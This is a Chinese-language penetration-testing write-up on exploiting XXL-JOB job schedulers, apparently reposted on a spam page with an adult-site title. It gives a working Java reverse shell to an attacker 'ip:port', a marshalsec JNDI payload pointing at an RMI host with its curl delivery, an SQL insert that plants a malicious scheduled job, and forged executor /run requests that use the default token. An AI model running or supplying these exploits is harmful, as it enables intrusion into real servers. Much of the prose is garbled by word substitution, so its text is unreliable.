发布日期:2024-10-25 10:51 点击次数:77
图片成人色情网
最近在HW中经常会遭遇XXL-JOB这个组件,也通过这个组件干预了不少考虑单元,那就对该组件的哄骗进行一次回首。一、最基本的操作-策动任务敕令实行这个操作我折服全球照旧熟的不可再熟了,因为xxl-job的开动化sql语句中设定了默许密码,况且在登入之后不会指示修改默许密码,就变成了xxl-job的默许账号密码为admin/123456。由于xxl-job自己是任务调治的系统,其不错当然实行敕令。泛泛会反弹shell,再进行后浸透,只需要在新建敕令时选拔对应的剧本言语,在GLUE IDE中剪辑敕令,选拔实行一次即可。
图片
图片
图片
这种形貌有几个容易踩坑的点:
1、选拔实行敕令的种类与系统不匹配图片
因为xxl-job的exector在坐蓐环境中络续跑在docker环境下的linux下,就会变成一个惯性念念维:当咱们拿到一个xxl-job的通常会先使用shell去实行敕令。
图片
当失败的时候就会觉得是环境有问题,打不动。却不知有时xxl-job也不错跑在Windows下。这时候就不错去实行Powerhshell敕令去上线。诚然如果相比懒的话不错顺利实行java代码来上线。岂论Windows和linux齐不错反弹shell。
package com.xxl.job.service.handler;import java.io.BufferedReader;import java.io.BufferedWriter;import java.io.InputStream;import java.io.InputStreamReader;import java.io.OutputStream;import java.io.OutputStreamWriter;import java.net.Socket;public class reverse {class StreamConnectorextends Thread{InputStream hx;OutputStream il;StreamConnector(InputStream hx, OutputStream il){this.hx = hx;this.il = il;}public void run(){BufferedReader ar = null;BufferedWriter slm = null;try{ar = new BufferedReader(new InputStreamReader(this.hx));slm = new BufferedWriter(new OutputStreamWriter(this.il));char[] buffer = new char[8192];int length;while ((length = ar.read(buffer, 0, buffer.length)) > 0){slm.write(buffer, 0, length);slm.flush();}}catch (Exception localException) {}try{if (ar != null) {ar.close();}if (slm != null) {slm.close();}}catch (Exception localException1) {}}}public reverse(){reverseConn('ip:port');}public static void main(String[] args) {System.out.println('0');}public void reverseConn(String ip){String ipport = ip;try{String ShellPath;if (System.getProperty('os.name').toLowerCase().indexOf('windows') == -1) {ShellPath = new String('/bin/sh');} else {ShellPath = new String('cmd.exe');}Socket socket = new Socket(ipport.split(':')[0], Integer.parseInt(ipport.split(':')[1]));Process process = Runtime.getRuntime().exec(ShellPath);new StreamConnector(process.getInputStream(), socket.getOutputStream()).start();new StreamConnector(process.getErrorStream(), socket.getOutputStream()).start();new StreamConnector(socket.getInputStream(), process.getOutputStream()).start();}catch (Exception e){e.printStackTrace();}}}2、反弹shell在实战中会碰到executor不出网的情况。即实行了反弹shell的敕令之后在vps上未收到回显,这时就要去念念考executor是否出网简略是注册executor是否失效。咱们不错去实行器中稽察其注册形貌
图片
咱们去平素来说自动注册的executor是不会出问题的。因为从代码末端来看xxl-job的executor每隔2min就会向adminer发送心跳解释其存活。而我方注册的可能就不一定不错买通。
二、api未授权拜访在xxl-job<=2.0.2的时候api存在未授权拜访,有两种形貌不错getshell。
1、哄骗jndi注入去打内存马这个照旧被东谈主讲过很屡次了,可是哄骗的前提即是需要出网,使用marshalsec去生成payload
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://x.x.x.x:1099/aaa > test.ser
再哄骗curl去发包即可,注意尽量使用linux简略Windows的cmd去发包,实测Windows下powershell发包可能会出现一些问题。
curl -XPOST -H 'Content-Type: x-application/hessian' --data-binary @test.ser http://127.0.0.1:8080/xxl-job-admin/api2、去哄骗XSLT去注入内存马这个应该是最佳使的决策,Nookipop照旧讲过了,在不出网时不错哄骗XSLT去打入内存马,进行敕令实行,打入suo5内存马进行正向代理内网穿透。
三、实行敕令注入内存马这种雷同是不出网时才辩论的操作。注入的是agent内存马,这个哄骗的条目其实也有点尖刻,一般来说xxl-job的executor络续跑在docker环境下简略散播式部署。而要想注入agent类型的内存马就需要admin端和executor跑在一台主机下。程序即是使用echo程序简略java的写入文献的程序将agent内存马写到考虑主机上,然后在进行加载。
四、奇技淫巧-从数据库getShell这亦然实战中遭遇的一个案例,考虑单元存在一个nacos的身份伪造误差,得回到了数据库确实立文献,顺利的连上了数据库,诚然咱们不错去尝试udf提权简略猜目次去写马,但我发现数据库中存在xxl_job的数据库,这时候其实就有更多的程序去getshell。
图片
图片
这时候泛泛有两种哄骗形貌:1、得回到xxl-job的密码,登入xxl-job去写策动任务进行敕令实行getshell。2、顺利通过往数据库里写本色进行getshell。
1、登入xxl-job进行getshell这种形貌泛泛适用于xxl-job-admin的功绩露出在互联网上。咱们不错通过语句select * from information_schema.PROCESSLIST;来判断客户端荟萃。由于我是在腹地跑的环境,这里即是localhost,如果是通过公网ip去荟萃的数据库,咱们就不错定位到其公网ip,扫一下端口即可判断xxl-job-admin是否露出在公网上了。
图片
如果露出在公网上,咱们便不错顺利哄骗,xxl-job密码为md5加密,咱们率先不错尝试md5解密,解不开的话新增一个用户,密码用md5加密即可。登入顺利之后咱们便不错通过策动任务进行敕令实行了。
图片
2、通过向数据库中写入数据进行getshell这是我无意发现的一个小trick,其实旨趣很简单,xxl-job-admin会定时从数据库中查询待实行的任务,在一定本事内实行。也即是说,咱们只需要往数据库里插入咱们构造好的坏心定时任务。他便会让executor去实行。刻下测试版块为2.4.1(不同版块的xxl-job的数据库结构不太疏通,以最新版的为例,旧版的在之前遭遇的环境中经测试也能买通。)只需要在xxl_job.xxl_job_info中插入这条语句即可。
INSERT INTO `xxl_job`.`xxl_job_info` (`id`, `job_group`, `job_desc`, `add_time`, `update_time`, `author`, `alarm_email`, `schedule_type`, `schedule_conf`, `misfire_strategy`, `executor_route_strategy`, `executor_handler`, `executor_param`, `executor_block_strategy`, `executor_timeout`, `executor_fail_retry_count`, `glue_type`, `glue_source`, `glue_remark`, `glue_updatetime`, `child_jobid`, `trigger_status`, `trigger_last_time`, `trigger_next_time`) VALUES (7, 1, '22222', '2023-12-27 14:57:36', '2023-12-27 14:58:23', '22222', '', 'CRON', '0/5 * * * * ?', 'DO_NOTHING', 'FIRST', '', '', 'SERIAL_EXECUTION', 0, 0, 'GLUE_POWERSHELL', 'calc\n', '12312321', '2023-12-27 14:57:48', '', 0, 1703660320000, 1703660325000);
其中有几个值得存眷的点:schedule_type为corn轮询,0/5 * * * * ?则是策动任求实行的本事我这里设定为5秒1次。executor_handler则是实行敕令的类型,我这里因为在Windows下测试,故而选拔为powershell,也可变为GLUE_SHELL简略GLUE_GROOVY等来应酬不同的敕令。当今咱们仅仅插入了敕令,并不可实行,若是想实行,还需要在插入数据之后把trigger_status的值改为1,executor便会自动出手实行咱们输入的敕令。
五、executor未授权拜访xxl-job的executeor存在未授权拜访误差,指纹如下图所示低版块
图片
高版块
图片
其原因即是admin端与executeor端通过相互发送tcp包进行通讯,袭击者可伪造包,使executeor实行敕令。
1、2.2.0<=XxlJob<=2.4.0维持了RESTFUL API,不错顺利发送http包伪造expPOST /run HTTP/1.1Host: 192.168.226.1:10999Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeXXL-JOB-ACCESS-TOKEN: default_tokenContent-Type: application/jsonContent-Length: 365{'jobId': 1,'executorHandler': 'demoJobHandler','executorParams': 'demoJobHandler','executorBlockStrategy': 'COVER_EARLY','executorTimeout': 0,'logId': 1,'logDateTime': 1586629003729,'glueType': 'GLUE_POWERSHELL','glueSource': 'calc','glueUpdatetime': 1586699003758,'broadcastIndex': 0,'broadcastTotal': 0}2、XxlJob >= 2.4.0添加了默许token作家为了拓荒该误差,添加了默许的token,可是这就如同nacos的jwt秘钥,shiro的默许key一样,由于使用者的卤莽大意不修改该key,照旧不错被哄骗exp
POST /run HTTP/1.1 Host: 192.168.226.1:10999 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Connection: close XXL-JOB-ACCESS-TOKEN: default_token Content-Type: application/json Content-Length: 365 { 'jobId': 1, 'executorHandler': 'demoJobHandler', 'executorParams': 'demoJobHandler', 'executorBlockStrategy': 'COVER_EARLY', 'executorTimeout': 0, 'logId': 1, 'logDateTime': 1586629003729, 'glueType': 'GLUE_POWERSHELL', 'glueSource': 'calc', 'glueUpdatetime': 1586699003758, 'broadcastIndex': 0, 'broadcastTotal': 0 }
著述起首: https://xz.aliyun.com/t/13899著述作家:1324419612752959本站仅提供存储功绩,整个本色均由用户发布,如发现存害或侵权本色,请点击举报。